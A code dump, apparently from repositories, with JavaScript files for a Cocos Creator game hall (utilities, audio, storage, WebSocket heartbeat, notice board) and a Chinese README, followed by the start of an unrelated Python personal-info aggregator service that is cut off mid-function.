gHandler.gameGlobal.pay.pay_host = url;
if (gHandler.subModel.cash.lanchscene != "") {
cc.director.loadScene(gHandler.subModel.cash.lanchscene)
} else {
console.log("请配置提现场景")
}
}
gHandler.http.requestFastestUrl(gHandler.appGlobal.remoteSeverinfo.pay_host, null, "/checked", callback)
} else {
if (gHandler.subModel.cash.lanchscene != "") {
cc.director.loadScene(gHandler.subModel.cash.lanchscene)
} else {
console.log("请配置提现场景")
}
}
}
},
/** 活动 */
onClickHuoDongBtn() {
console.log("活动")
},
/** 活动页面 */
onClickADPage(event, custom) {
console.log("点击活动页面", custom)
// this.web.active = true;
// this.web.url = "https://www.baidu.com"
// this.web.onEnable()
if (!gHandler.gameConfig.oldGameList['brnn'].hasAccount) {
this.createSubAccount(gHandler.gameConfig.oldGameList['brnn'], this.enterSubWeb.bind(this), custom)
} else {
this.enterSubWeb(custom)
}
},
enterSubWeb(custom) {
if (custom == 1) {
this.web.active = true;
this.web.url = "https://www.baidu.com"
this.web.onEnable()
} else if (custom == 2) {
gHandler.audioMgr.stopBg();
cc.director.loadScene('web')
}
// let getIconPath = () => {
// let packageName = gHandler.appGlobal.packgeName;
// let pathName = packageName + "/images/icon";
// return gHandler.appGlobal.remoteSeverinfo.source_host[0] + "/" + pathName + "/";
// }
// let info = JSON.stringify({
// id: gHandler.gameGlobal.player.id, // 用户ID
// game_id: gHandler.gameConfig.oldGameList['brnn'].remoteData.game_id, // 游戏ID
// server_url: gHandler.gameConfig.oldGameList['brnn'].remoteData.game_host[0], // game_host
// password: <PASSWORD> // 用户密码
// });
// info = gHandler.base64.encode(info);
// let url = gHandler.appGlobal.remoteSeverinfo.temp_host[0] + gHandler.gameConfig.oldGameList['brnn'].remoteData.web_down_webgl +
// "?info=" + info +
// "&os=" + gHandler.appGlobal.os +
// "&iconPath=" + getIconPath() + // 头像资源地址(图片地址)
// "&version=" + gHandler.gameConfig.oldGameList['brnn'].remoteData.version +// 游戏版本号
// "&env=" + "dev" + // 环境 online dev pre
// "&time=" + new Date().getTime();// 时间戳
// console.log(url)
// this.web.url = url;
// this.web.active = true;
// this.web.onEnable();
},
/** 每帧调用一次 // called every frame */
// update(dt) { },
/** 所有组件update执行完之后调用 */
// lateUpdate() { },
/** 调用了 destroy() 时回调,当帧结束统一回收组件 */
onDestroy() {
console.log("onDestroy")
if (gHandler.hallWebSocket) {
gHandler.hallWebSocket.unregister("/Game/login/login", "hallScene")
gHandler.hallWebSocket.close()
}
gHandler.eventMgr.unregister("isupdataCallback", "hallScene")
gHandler.eventMgr.unregister("failCallback", "hallScene")
gHandler.eventMgr.unregister("progressCallback", "hallScene")
gHandler.eventMgr.unregister("finishCallback", "hallScene")
},
});<file_sep>/assets/common/script/common/hqqCommonTools.js
/*
* @Author: burt
* @Date: 2019-07-29 15:52:25
* @LastEditors: burt
* @LastEditTime: 2019-09-04 09:15:52
* @Description: 通用函数
*/
let commonTools = {
/** 判断是否为数字 */
isNumber(obj) {
if (typeof obj === 'number' && !isNaN(obj)) {
return true;
}
return false;
},
/** 截屏 注意:web端下载图片到本地待解决
* @param {object} target 截图组件本身
* @param {string} fileName 图片名字.jpg(可选)
* @example
* gHandler.commonTools.screenShot(this);
* or gHandler.commonTools.screenShot(this,"文件名.jpg");
*/
screenShot(target, fileName) {
// let date = new Date();
// let time = "" + date.getMonth() + date.getDate() + date.getHours() + date.getMinutes() + date.getSeconds();
let gl = cc.game._renderContext; // gl.STENCIL_INDEX8 质量较高 gl.DEPTH_STENCIL 质量较低
let render = new cc.RenderTexture();
render.initWithSize(Math.floor(cc.visibleRect.width), Math.floor(cc.visibleRect.height), gl.DEPTH_STENCIL);
cc.Camera.main.targetTexture = render;
let scaleAction = cc.scaleTo(0.5, 0.3);
let targetPos = cc.v2(cc.visibleRect.width - cc.visibleRect.width / 6, cc.visibleRect.height / 4);
let moveAction = cc.moveTo(0.5, targetPos);
let spawn = cc.spawn(scaleAction, moveAction);
let node = new cc.Node();
node.setPosition(cc.v2(cc.visibleRect.width / 2, cc.visibleRect.height / 2));
node.zIndex = cc.macro.MAX_ZINDEX;
node.on(cc.Node.EventType.TOUCH_START, () => {
node.parent = null;
node.destroy();
});
var fileName = fileName || "cocosScreenShot.jpg";
if (CC_JSB) {
var fullPath = jsb.fileUtils.getWritablePath() + fileName;
if (jsb.fileUtils.isFileExist(fullPath)) {
jsb.fileUtils.removeFile(fullPath);
}
target.scheduleOnce(() => {
cc.Camera.main.targetTexture = null;
let data = render.readPixels();
let width = render.width;
let height = render.height;
let picData = new Uint8Array(width * height * 4);
let rowBytes = width * 4;
for (let row = 0; row < height; row++) {
let srow = height - 1 - row;
let start = srow * width * 4;
let reStart = row * width * 4;
for (let i = 0; i < rowBytes; i++) {
picData[reStart + i] = data[start + i];
}
}
jsb.saveImageData(picData, width, height, fullPath);
let texture = new cc.Texture2D();
texture.initWithData(picData, 32, width, height);
let spriteFrame = new cc.SpriteFrame();
spriteFrame.setTexture(texture);
let sprite = node.addComponent(cc.Sprite);
sprite.spriteFrame = spriteFrame;
node.parent = cc.director.getScene();
node.runAction(spawn);
}, 0, 0)
} else {
target.scheduleOnce(() => {
cc.Camera.main.targetTexture = null;
if (!this._canvas) {
this._canvas = document.createElement('canvas');
this._canvas.width = render.width;
this._canvas.height = render.height;
} else {
let ctx = this._canvas.getContext('2d');
ctx.clearRect(0, 0, this._canvas.width, this._canvas.height);
}
let ctx = this._canvas.getContext('2d');
let data = render.readPixels();
let rowBytes = render.width * 4;
for (let row = 0; row < render.height; row++) {
let srow = render.height - 1 - row;
let imageData = ctx.createImageData(render.width, 1);
let start = srow * render.width * 4;
for (let i = 0; i < rowBytes; i++) {
imageData.data[i] = data[start + i];
}
ctx.putImageData(imageData, 0, row);
}
var dataURL = this._canvas.toDataURL("image/png");
var img = document.createElement("img");
img.src = dataURL;
let texture = new cc.Texture2D();
texture.initWithElement(img);
let spriteFrame = new cc.SpriteFrame();
spriteFrame.setTexture(texture);
let sprite = node.addComponent(cc.Sprite);
sprite.spriteFrame = spriteFrame;
node.parent = cc.director.getScene();
node.runAction(spawn);
// var fixtype = function (type) {
// type = type.toLocaleLowerCase().replace(/jpg/i, 'jpeg');
// var r = type.match(/png|jpeg|bmp|gif/)[0];
// return 'image/' + r;
// };
// dataURL = dataURL.replace(fixtype("png"), 'image/octet-stream');
// var save_link = document.createElementNS('http://localhost:7456/', 'a');
// save_link.href = dataURL;
// save_link.download = fileName;
// var event = document.createEvent('MouseEvents');
// event.initMouseEvent('click', true, false, window, 0, 0, 0, 0, 0, false, false, false, false, 0, null);
// save_link.dispatchEvent(event);
// var html = `<a id = "saveImg" href = ${ dataURL}></a>`
// var body = document.getElementsByTagName("body")[0];
// var divBox = document.createElement("div");
// divBox.innerHTML = html
// body.appendChild(divBox);
// var imgDom = document.getElementById("saveImg");
// imgDom.click()
var iframe = "<iframe width='100%' height='100%' src='" + dataURL + "'></iframe>"
var x = window.open();
x.document.open();
x.document.write(iframe);
x.document.close();
}, 0, 0)
}
},
/**
* 简单的复制对象
* 正确处理的对象只有Number、String、Array等能够被json表示的数据结构,因此函数这种不能被json表示的类型将不能被正确处理
* @param {mobject} 复制的对象原型
*/
jsonCopy(mobject) {
if (mobject) {
return JSON.parse(JSON.stringify(mobject))
}
},
/**
* 设置默认头像
* @param {head} 头像精灵
*/
setDefaultHead(head) {
let rand = Math.floor(Math.random() * 20)
if (rand < 10) {
rand = "0" + rand;
}
cc.loader.loadRes("head/im_head" + rand, cc.SpriteFrame, function (err, res) {
if (err) {
return
}
head.spriteFrame = res;
})
},
/**
* 字符串超长作固定长度加省略号(...)处理
* @param str 需要进行处理的字符串,可含汉字
* @param len 需要显示多少个汉字,两个英文字母相当于一个汉字
* @returns {string}
*/
formatStringLength(str, len = 12) {
let strlen = 0;
let needstr = str;
for (let i = 0; i < str.length; i++) {
if (str.charCodeAt(i) >= 19968 && str.charCodeAt(i) <= 40869) {
strlen += 2;
} else {
strlen++;
}
if (strlen > len) {
needstr = str.substr(0, i - 1) + "...";
break;
}
}
return needstr;
},
/**
* 计算浮点型数值相减的结果
* 精度最高为小数点后6位
* @param value1
* @param value2
* @param precision 要求的小数点后精度,默认为小数点后4位
*/
floatSub(value1, value2, precision = 4) {
//精度值不能小于1
precision = precision < 1 ? 4 : precision;
//精度值不能大于6
precision = precision >= 6 ? 6 : precision;
//计算放大倍数
let multiple = 10 ** precision;
let buff1 = Math.floor(value1 * multiple);
let buff2 = Math.floor(value2 * multiple);
let result = (buff1 - buff2) + '';
//还原精度
let strHead = result.slice(0, -precision);
let strEnd = result.slice(-precision);
return +`${strHead}.${strEnd}`;
},
/**
* 获取对应的本地日期
* @param timestamp 本地时间戳
* @returns 日期格式 2018年12月31日
*/
toLocalDate(timestamp) {
const date = new Date(1e3 * timestamp);
const month = date.getMonth();
const strMonth = (9 > month ? "0" + (month + 1) : month + 1).toString();
const day = date.getDate();
const strDay = (10 > day ? "0" + day : day).toString();
return `${date.getFullYear()}年${strMonth}月${strDay}日`;
},
/**
* 时间戳转化为时分秒的格式
* @param timestamp 时间戳
* @returns 日期格式 09:59:01
*/
timestampHMS(timestamp) {
const h = Math.floor(timestamp / 3600);
const m = Math.floor(timestamp / 60 % 60);
const s = Math.floor(timestamp % 60);
return {
hour: h < 10 ? "0" + h : "" + h,
minute: m < 10 ? "0" + m : "" + m,
second: s < 10 ? "0" + s : "" + s,
};
},
/**
* 年月日格式化为字符串
* @returns `${y}年${i}月${o}日`
*/
formatDateToString(y, m, d) {
const strMonth = padMonth(m);
const strDay = padDay(d);
return `${y}年${strMonth}月${strDay}日`;
},
/**
* 年月日格式化为数字
*/
formatDateToNumber(y, m, d) {
const i = padMonth(m);
const o = padDay(d);
return parseInt(`${y}${i}${o}`, 10);
},
/**
* 字符串数组转化为数字数组
* @param strArray 需要转化的字符串数组
*/
toNumberArray(strArray) {
const intValues = [];
const length = strArray.length;
for (let index = 0; index < length; index++) {
let val = parseInt(strArray[index], 10);
if (!isNaN(val)) {
intValues.push(val);
}
}
return intValues;
},
moneyLevel: {
Bai: 100,
Qian: 1e3,
Wan: 1e4,
ShiWan: 1e5,
BaiWan: 1e6,
QianWan: 1e7,
Yi: 1e8,
},
/**
* 格式化金额为对应的字符串
* @param money 需要格式化的金额
*/
formatMoney(money) {
if (money >= moneyLevel.Yi) {
return Math.floor(money / moneyLevel.Yi) + "亿";
}
if (money >= moneyLevel.BaiWan) {
return Math.floor(money / moneyLevel.Wan) + "万";
}
return fixedFloat(money, 2);
},
/**
* 保留小数点后的指定位数,采用的方法是截断指定位数后的数字
* @param num 需要操作的数字
* @param len 需要保留的小数点后位数
*/
fixedFloat(num, len = 2) {
return num.toFixed(len);
},
/**
* 填充数字,对于长度不足的,自动补零
* @param num 需要填充的数字
* @param len 指定的长度
*/
padNumber(num, len) {
const n = ("" + num).length;
return Array(len > n ? len - n + 1 || 0 : 0).join("0") + num;
}
}
module.exports = commonTools;
<file_sep>/assets/common/script/common/hqqAudioMgr.js
/*
* @Author: burt
* @Date: 2019-08-10 10:32:38
* @LastEditors: burt
* @LastEditTime: 2019-08-10 13:15:00
* @Description: 音效管理器,子游戏音效管理器需实现getMusic(name)获取cc.AudionClip资源的函数接口
*/
let gHandler = require("gHandler");
let audioMgr = {
bgVolume: 1,
bgId: -1,
effectVolume: 1,
resMgr: null, // 子游戏资源管理器节点
init(resmgr) {
this.resMgr = resmgr;
this.bgVolume = gHandler.localStorage.globalGet("bgVolumeKey") || 1;
this.effectVolume = gHandler.localStorage.globalGet("effectVolumeKey") || 1;
return this;
},
setBgVolume(num) {
if (gHandler.commonTools.isNumber()) {
this.bgVolume = num;
cc.audioEngine.setVolume(this.bgId, this.bgVolume);
gHandler.localStorage.globalSet("bgVolumeKey", this.bgVolume);
}
},
setEffectVolume(num) {
if (gHandler.commonTools.isNumber()) {
this.effectVolume = num;
gHandler.localStorage.globalSet("effectVolumeKey", this.effectVolume);
}
},
playBg(name) {
if (this.resMgr) {
let bgchip = this.resMgr.getMusic(name);
if (bgchip) {
this.bgId = cc.audioEngine.playMusic(bgchip, true, this.bgVolume);
}
} else {
console.log("未定义音效资源管理器")
}
return this;
},
pauseBg() {
if (this.bgId || (this.bgId === 0)) {
cc.audioEngine.pauseMusic()
}
},
resumeBg() {
if (this.bgId || (this.bgId === 0)) {
cc.audioEngine.resumeMusic()
}
},
stopBg() {
if (this.bgId || (this.bgId === 0)) {
cc.audioEngine.stopMusic()
}
},
playEffect(name) {
if (this.resMgr) {
let effectchip = this.resMgr.getMusic(name);
if (effectchip) {
cc.audioEngine.playEffect(effectchip, false, this.effectVolume);
}
} else {
console.log("未定义音效资源管理器")
}
},
}
module.exports = audioMgr;<file_sep>/assets/common/script/common/hqqLocalStorage.js
/*
* @Author: burt
* @Date: 2019-07-30 10:44:15
* @LastEditors: burt
* @LastEditTime: 2019-09-18 14:01:55
* @Description: 本地化保存
*/
let gHandler = require("gHandler");
let localStorage = {
subgameKey: "subgameKey",
subdata: {},
globalKey: "globalKey",
global: {},
/** 初始化每个游戏名一个保存键值对 */
init() {
// cc.sys.localStorage.clear();
if (cc.sys.localStorage.getItem(this.subgameKey)) {
this.subdata = JSON.parse(cc.sys.localStorage.getItem(this.subgameKey));
} else {
for (let i = 0; i < gHandler.gameConfig.gamelist.length; i++) {
this.subdata[gHandler.gameConfig.gamelist[i].enname] = gHandler.commonTools.jsonCopy(gHandler.gameConfig.gamelist[i]);
}
cc.sys.localStorage.setItem(this.subgameKey, JSON.stringify(this.subdata));
}
if (cc.sys.localStorage.getItem(this.globalKey)) {
this.global = JSON.parse(cc.sys.localStorage.getItem(this.globalKey));
} else {
cc.sys.localStorage.setItem(this.globalKey, JSON.stringify(this.global));
}
return this;
},
set(subgame, key, data) {
if (!this.subdata[subgame]) {
this.subdata[subgame] = {};
}
this.subdata[subgame][key] = data;
this.savaLocal();
},
has(subgame, key) {
if (this.subdata[subgame] && this.subdata[subgame][key]) {
return true;
} else {
// gHandler.logMgr.log("localstorage don`t has:", subgame, key)
return false;
}
},
get(subgame, key) {
if (this.has(subgame, key)) {
return this.subdata[subgame][key]
} else {
return null;
}
},
remove(subgame, key) {
if (this.has(subgame, key)) {
this.subdata[subgame][key] = null;
}
},
clear() {
cc.sys.localStorage.clear();
},
savaLocal() {
cc.sys.localStorage.setItem(this.subgameKey, JSON.stringify(this.subdata));
cc.sys.localStorage.setItem(this.globalKey, JSON.stringify(this.global));
},
globalSet(key, value) {
this.global[key] = value;
this.savaLocal();
},
globalGet(key) {
return this.global[key];
},
getGlobal() {
return this.global;
},
}
module.exports = localStorage;<file_sep>/assets/common/script/hall/hallWebSocket.js
/*
* @Author: burt
* @Date: 2019-07-29 15:11:55
* @LastEditors: burt
* @LastEditTime: 2019-09-18 14:02:30
* @Description: 长连接与心跳包
*/
let gHandler = require("gHandler");
let hqqWebSocket = function () { }
hqqWebSocket.prototype = {
ip: "",
ws: null,
pingTime: 0,
pongTime: 0,
reConnectTime: 0,
reConnectDelayTime: 5, // 多久重连一次(秒)
heartbeatTime: 3, // 心跳间隔(秒)
closeTime: 9, // 断线判断时间
events: {},
handlers: {},
needRecon: true,
init(param) {
this.needRecon = true;
this.ip = param && param.ip || this.ip;
this.reConnectTime = param && param.reConnectTime || this.reConnectTime;
this.reConnectDelayTime = param && param.reConnectDelayTime || this.reConnectDelayTime;
this.heartbeatTime = param && param.heartbeatTime || this.heartbeatTime;
this.closeTime = 3 * this.heartbeatTime;
this.removeAllHandler();
this.removeAllEvent();
},
startPingPong() {
let self = this
this.heartbeat = setInterval(() => {
self.m_checkPingPong();
}, 1000)
},
sendPing() {
// console.log("发送心跳")
this.pingTime = 0;
this.ws && this.ws.send('');
},
connect(param) {
this.ip = param || this.ip
this.ws = new WebSocket(this.ip)
this.ws.onopen = this.m_onopen.bind(this)
this.ws.onmessage = this.m_onmessage.bind(this)
this.ws.onerror = this.m_onerror.bind(this)
this.ws.onclose = this.m_onclose.bind(this)
},
sendMessage(name, msg) {
let data = this.protoDeal.createMsgByName(name, msg);
(this.ws || console.log("websocket未初始化")) && this.ws.send(data);
},
close() {
this.ws && this.ws.close();
this.needRecon = false;
},
register(event, className, callback) {
if (this.handlers[event] && this.handlers[event][className]) {
console.log("该事件已经监听")
} else {
if (this.handlers[event]) {
this.handlers[event][className] = callback;
} else {
this.handlers[event] = {};
this.handlers[event][className] = callback;
}
}
},
unregister(event, className) {
this.handlers[event] && this.handlers[event][className] && (delete this.handlers[event][className]);
},
removeAllHandler() {
this.handlers = {}
},
addEvent(event, callback) {
this.events[event] || (this.events[event] = []);
this.events[event].push(callback);
},
removeEvent(event) {
this.events[event] && (this.events[this.events] = null);
},
removeAllEvent() {
this.events = {};
},
m_onopen() {
console.log("连接成功")
this.reConnectTime = 0;
this.startPingPong();
if (!gHandler.gameGlobal.isdev) {
let msg = {
"event": "/Game/login/login",
"data": {
id: gHandler.gameGlobal.player.account_name,
pass: gHandler.gameGlobal.player.account_pass
}
}
this.ws.send(JSON.stringify(msg))
}
},
m_onmessage(msg) {
let data = JSON.parse(msg.data)
this.m_EmitMsg(data.event, data.data.msg, data)
},
m_EmitMsg(event, data, msg) {
if (this.handlers[event]) {
for (let className in this.handlers[event]) {
this.handlers[event][className] && this.handlers[event][className](data);
}
} else {
console.log("没有注册回调函数", msg)
}
},
m_onerror(e) {
gHandler.logMgr.logerror(e);
this.m_stopPingPong();
},
m_onclose() {
this.m_stopPingPong();
if (this.needRecon) {
setTimeout(() => {
this.reConnectTime++;
if (this.reConnectTime > 5) {
this.reConnectTime = 0;
return;
}
this.connect();
}, 3000)
}
},
m_stopPingPong() {
clearInterval(this.heartbeat);
},
/** 心跳逻辑 */
m_checkPingPong() {
if (this.pingTime >= this.heartbeatTime) {
this.sendPing();
} else {
this.pingTime++;
}
},
}
module.exports = hqqWebSocket
<file_sep>/assets/common/script/common/hqqEvent.js
/*
* @Author: burt
* @Date: 2019-09-11 13:46:20
* @LastEditors: burt
* @LastEditTime: 2019-09-12 10:14:53
* @Description:
*/
let hqqEvent = {
init() {
this.mapReciver = {};
return this;
},
/**
* 注册监听事件
* @param event 事件类型
* @param className 响应函数所属类名
* @param callback 响应函数
*/
register: function (event, className, callback) {
if (!this.mapReciver[event]) {
this.mapReciver[event] = {};
}
this.mapReciver[event][className] = callback
},
/**
* 取消监听事件
* @param kind 事件类型
* @param className 响应函数所属类名
*/
unregister: function (event, className) {
if (this.mapReciver[event] && this.mapReciver[event][className]) {
delete this.mapReciver[event][className];
}
},
/**
* 派发事件
* @param kind 事件类型
* @param data 传递的数据 可传递多个参数
*/
dispatch: function (event, data) {
if (this.mapReciver[event]) {
for (let className in this.mapReciver[event]) {
let paralist = []
for (let i = 1; i < arguments.length; i++) {
paralist.push(arguments[i])
}
this.mapReciver[event][className](...paralist)
}
}
},
}
module.exports = hqqEvent<file_sep>/assets/common/script/common/noticeBoard.js
/*
* @Author: burt
* @Date: 2019-07-30 09:11:37
* @LastEditors: burt
* @LastEditTime: 2019-07-30 19:02:15
* @Description: 公告板
*/
cc.Class({
extends: cc.Component,
properties: {
label: cc.RichText, // 公告板文字(富文本)
noticeScroll: cc.ScrollView, // 滚动视窗
},
/** 脚本组件初始化,可以操作this.node // use this for initialization */
onLoad() {
},
/** enabled和active属性从false变为true时 */
// onEnable() { },
/** 通常用于初始化中间状态操作 */
start() {
// let testarr = [
// "<color=#00ff00>RichText</color>",
// "<color=#0fffff>Creates the action easing object with the rate parameter.</color>",
// "<color=#0fffff>From slow to fast.</color>",
// "<color=#0fffff>zh 创建 easeIn 缓动对象,由慢到快。</color>",
// ]
// this.noticeList = [];
// for (let i = 0; i < testarr.length; i++) {
// this.noticeList.push({
// text: testarr[i],
// time: 2,
// })
// }
// this.noticeStartRoll();
},
/**
* 添加滚动公告
* @param {notice} 公告文字(富文本表示<color=#00ff00>RichText</color>)
* @param {time} 公告滚动次数
*/
addNotice(notice, time) {
if (!this.noticeList) {
this.noticeList = [];
}
let noticeItem = {
text: notice,
time: time || 1,
}
this.noticeList.push(noticeItem);
},
/** 开始滚动 */
noticeStartRoll() {
let item = this.noticeList.shift();
if (item) {
item.time--;
let text = item.text;
if (item.time > 0) {
this.noticeList.push(item);
}
let time = text.length * 0.1 + 15;
this.label.string = text;
// this.label._updateRenderData(true);
let x = this.noticeScroll.node.width / 2 + this.label.node.width / 2;
this.label.node.setPosition(x, 0);
let move1 = cc.moveTo(time / 3, cc.v2(0, 0));
// let delay = cc.delayTime(time / 3);
let move2 = cc.moveTo(time / 3, cc.v2(-x, 0));
let callfunc = cc.callFunc(() => {
this.noticeStartRoll();
}, this)
let seq = cc.sequence(move1, move2, callfunc);
this.label.node.runAction(seq);
}
},
/** 每帧调用一次 // called every frame */
// update(dt) { },
/** 所有组件update执行完之后调用 */
// lateUpdate() { },
/** 调用了 destroy() 时回调,当帧结束统一回收组件 */
// onDestroy() { },
});
<file_sep>/README.md
<!--
* @Author: burt
* @Date: 2019-08-15 14:28:50
* @LastEditors: burt
* @LastEditTime: 2019-09-19 14:26:09
* @Description:
-->
# all hqq native combined-game project
注意:{
一个子游戏有两个文件夹路径,一个是resources下新建的子游戏的动态资源目录,
一个是subgame目录下新建的子游戏开发目录,不再需要在common/script/下新建脚本目录
获取大厅用户信息及其他,require gHandler模块,所有信息都会放在此模块内
对动态加载资源,只需要创建 asserts/resources/子游戏文件夹 目录,并将所有动态资源放置在此目录即可
资源名冲突(包括图片,脚本等),自己子游戏目录下的资源名字前缀解决
场景名 : 请务必加游戏前缀或保证不与其他场景重名
在common的 gHandler.gameConfig 里配置游戏数据
从hall场景点击游戏按钮,跳转场景进入子游戏场景,进入子游戏
通用的库(pb库)建议放在主包脚本中,防止文件冲突
}
ts 项目注意事项:{
载入模块格式:import 模块名 = require("模块路径")
暴露模块格式:export = 模块
ts的命名空间(namesapace)命名请不要冲突,一定加上自己的项目前缀
文件名也请加上前缀,ts的文件冲突比较苛刻
}
common目录:{
通用模块
存放公共资源res目录(音乐audio,图片image,字体font,动画animation,)
通用预制件prefab目录
脚本目录script{
common 主包脚本{
gHandler 游戏全局模块管理器
google-protobuf.js pb库
...
}
hall 大厅脚本
}
}
subgame子游戏资源目录:{
qznn目录:
子游戏抢庄牛牛目录,抢庄牛牛的工程资源及代码都在此目录内,开发基本全部在自己的子游戏目录内完成
}
新开项目流程:{
1、克隆仓库(git clone http://git.0717996.com/burt/allGame )
或者克隆仓库已有分支(git clone -b 分支名 http://git.0717996.com/burt/allGame)
2、查看本地仓库远程分支情况 (git branch -a)
3、如果没有子游戏分支,在master分支下新建分支 (git checkout -b 分支名),
并推送(git push --set-upstream origin 分支名)
如果已有分支,直接拉取远程分支到本地(
git fetch origin 分支名 // 拉取远程分支到本地
git checkout -b 分支名 // 切换分支
)
4、开发提交修改至分支... (add pull push)
5、游戏开发阶段完成,allgame分支合并子游戏分支
6、出包
}
游戏配置:{
大厅展示的子游戏动画跳转 需在 gHandler.gameConfig 中配置数据,
"qznn": {
zhname: "抢庄牛牛", // 中文游戏名
enname: "qznn", // 英文游戏名 (子游戏文件路径,更新子路径)
lanchscene: "NNGame", // 跳转场景名
game_id: "123456789",
serverUrl: "", // 游戏服务器地址
resid: 12,
},
}
同步主分支master修改(common目录内容修改):{
大厅的修改都在master分支下,子游戏同步大厅修改需合并master分支
1、切换到子游戏分支
2、合并大厅分支master (git merge master)
3、解决冲突(modified的在本地编辑器即可修改)
4、继续开发
5、开发阶段完成,请求合并
(注意:大厅分支subgame文件夹已删除,合并分支时请一定注意)
}
常用接口示例:{
返回大厅:
let gHandler = require("gHandler");
cc.director.loadScene(gHandler.gameConfig.hallconfig.lanchscene)
获取玩家数据:
let gHandler = require("gHandler");
gHanler.gameGlobal.player.name
横竖屏切换:
竖屏项目注意:需要在loadscene之前调用一次 gHandler.Reflect.setOrientation()
不带任何参数,设为大厅场景格式
完整的调用格式如下:
gHandler.Reflect.setOrientation("portrait", 640, 1136) // 竖屏 宽 高
gHandler.Reflect.setOrientation("landscape", 1334, 750) // 横屏 宽 高
}
| e21def4a42967c78626e4bd52d1782397520fbb2 | [
"JavaScript",
"Markdown"
] | 8 | JavaScript | tanlangtao/allGameApp | da77930791f7103a5e3ad5dc73fd605f77f137b2 | 4e91d8c37866f1b2cd0a66c5a12877e2f42ca95e |
refs/heads/master | <file_sep>#!/usr/bin/python
import os
from setuptools import setup, find_packages
SRC_DIR = os.path.dirname(__file__)
CHANGES_FILE = os.path.join(SRC_DIR, "CHANGES")
with open(CHANGES_FILE) as fil:
version = fil.readline().split()[0]
setup(
name="personal-info-aggregator",
description="My personal web site's api",
version=version,
packages=find_packages(),
install_requires=[
"resource-api-http",
"requests-oauthlib",
"python-dateutil"],
author="<NAME>",
author_email="<EMAIL>",
entry_points={
'console_scripts': [
'personal-info-aggregator = personal_info_aggregator.run:run',
],
},
data_files=[
("/etc/personal-info-aggregator/",
["config/config.json", "config/config.wsgi"]),
]
)
<file_sep>import os
from md5 import md5
from .raw_models import GitHub, Blogger, YouTube, Picasa, LinkedIn
from .service import PersonalService, Project, BlogPost, Video, Photo, Album, Profile, Job
from .auth_db_api import LocalAdmin
from .settings import Config
def sync_profiles(ep):
linkedin = LinkedIn()
github = GitHub()
data = linkedin.profile()
data.update(github.profile())
profile_resource = ep.get_resource(Profile)
return profile_resource.create(data)
def sync_github(ep, username):
project_resource = ep.get_resource(Project)
gh = GitHub()
for project_data in gh.projects():
project_resource.create(project_data, {"profile": {"@target": username}})
def sync_blogger(ep, username):
post_resource = ep.get_resource(BlogPost)
blogger = Blogger()
for post in blogger.posts():
post_resource.create(post, {"profile": {"@target": username}})
def sync_videos(ep, username):
video_resource = ep.get_resource(Video)
you_tube = YouTube()
for video in you_tube.videos():
video_resource.create(video, {"profile": {"@target": username}})
def sync_photos(ep, username):
album_resource = ep.get_resource(Album)
photo_resource = ep.get_resource(Photo)
picasa = Picasa()
for album in picasa.albums():
album_id = album.pop("id")
album_name = album["name"]
album_resource.create(album, {"profile": {"@target": username}})
for photo in picasa.photos(album_id):
photo["sha1"] = md5(photo["src"]).hexdigest()
photo_resource.create(photo, {"album": {"@target": album_name}})
def sync_jobs(ep, username):
job_resource = ep.get_resource(Job)
linkedin = LinkedIn()
for position in linkedin.positions():
position["sha1"] = md5(position["start_date"]).hexdigest()
job_resource.create(position, {"profile": {"@target": username}})
def sync():
srv = PersonalService()
srv.clear()
ep = srv.get_entry_point(LocalAdmin)
# # NOTE: syncing only the latest ones does not work because what if I updated some of the old entries?
print "Creating a profile"
username = sync_profiles(ep).pk
print "Syncing GitHub"
sync_github(ep, username)
print "Syncing Blogger"
#sync_blogger(ep, username)
print "Syncing Videos"
#sync_videos(ep, username)
print "Syncing Photos"
#sync_photos(ep, username)
print "Syncing Jobs"
sync_jobs(ep, username)
srv.save()
print "All done!"
<file_sep>from resource_api_http.http import Application
from resource_api.schema import StringField, IntegerField, DateField
from .auth_db_api import Resource, Link, Service
class Profile(Resource):
class Schema:
nick_name = StringField(pk=True)
first_name = StringField()
last_name = StringField()
position = StringField()
summary = StringField()
avatar_url = StringField()
email = StringField()
class Links:
class jobs(Link):
cardinality = Link.cardinalities.MANY
target = "Job"
related_name = "profile"
class albums(Link):
cardinality = Link.cardinalities.MANY
target = "Album"
related_name = "profile"
class videos(Link):
cardinality = Link.cardinalities.MANY
target = "Video"
related_name = "profile"
class blog_posts(Link):
cardinality = Link.cardinalities.MANY
target = "BlogPost"
related_name = "profile"
class projects(Link):
cardinality = Link.cardinalities.MANY
target = "Project"
related_name = "profile"
class Job(Resource):
class Schema:
sha1 = StringField(pk=True)
title = StringField()
company = StringField()
start_date = DateField()
end_date = DateField(required=False)
description = StringField()
class Links:
class profile(Link):
cardinality = Link.cardinalities.ONE
target = "Profile"
master = True
related_name = "jobs"
class Album(Resource):
class Schema:
name = StringField(pk=True)
photo_count = IntegerField()
thumbnail_url = StringField()
class Links:
class profile(Link):
cardinality = Link.cardinalities.ONE
target = "Profile"
master = True
related_name = "albums"
class photos(Link):
cardinality = Link.cardinalities.MANY
target = "Photo"
related_name = "album"
class Photo(Resource):
class Schema:
sha1 = StringField(pk=True)
name = StringField() # Empty most of the time
src = StringField()
thumbnail_url = StringField()
class Links:
class album(Link):
cardinality = Link.cardinalities.ONE
target = "Album"
master = True
related_name = "photos"
class Video(Resource):
class Schema:
name = StringField(pk=True)
thumbnail_url = StringField()
description = StringField()
video_uri = StringField()
class Links:
class profile(Link):
cardinality = Link.cardinalities.ONE
target = "Profile"
master = True
related_name = "videos"
class BlogPost(Resource):
class Schema:
name = StringField(pk=True)
content = StringField()
published = DateField()
class Links:
class profile(Link):
cardinality = Link.cardinalities.ONE
target = "Profile"
master = True
related_name = "blog_posts"
class Project(Resource):
class Schema:
name = StringField(pk=True)
language = StringField()
url = StringField()
description = StringField()
class Links:
class profile(Link):
cardinality = Link.cardinalities.ONE
target = "Profile"
master = True
related_name = "projects"
class PersonalService(Service):
def __init__(self):
super(PersonalService, self).__init__()
self.register(Profile, "me.Profile")
self.register(Job, "me.Job")
self.register(Album, "me.Album")
self.register(Photo, "me.Photo")
self.register(Video, "me.Video")
self.register(BlogPost, "me.BlogPost")
self.register(Project, "me.Project")
self.setup()
<file_sep>from resource_api_http.http import Application
from personal_info_aggregator.service import PersonalService
srv = PersonalService()
application = Application(srv, debug=False)
<file_sep>from datetime import datetime
import requests
from requests_oauthlib import OAuth1Session
from dateutil import parser
from .settings import Config
def _(*parts):
return "/".join(parts)
class GitHub(object):
def __init__(self):
self._base_url = _("https://api.github.com/users", Config.get().GitHub.username)
def profile(self):
resp = requests.get(self._base_url).json()
return {
"nick_name": resp["login"],
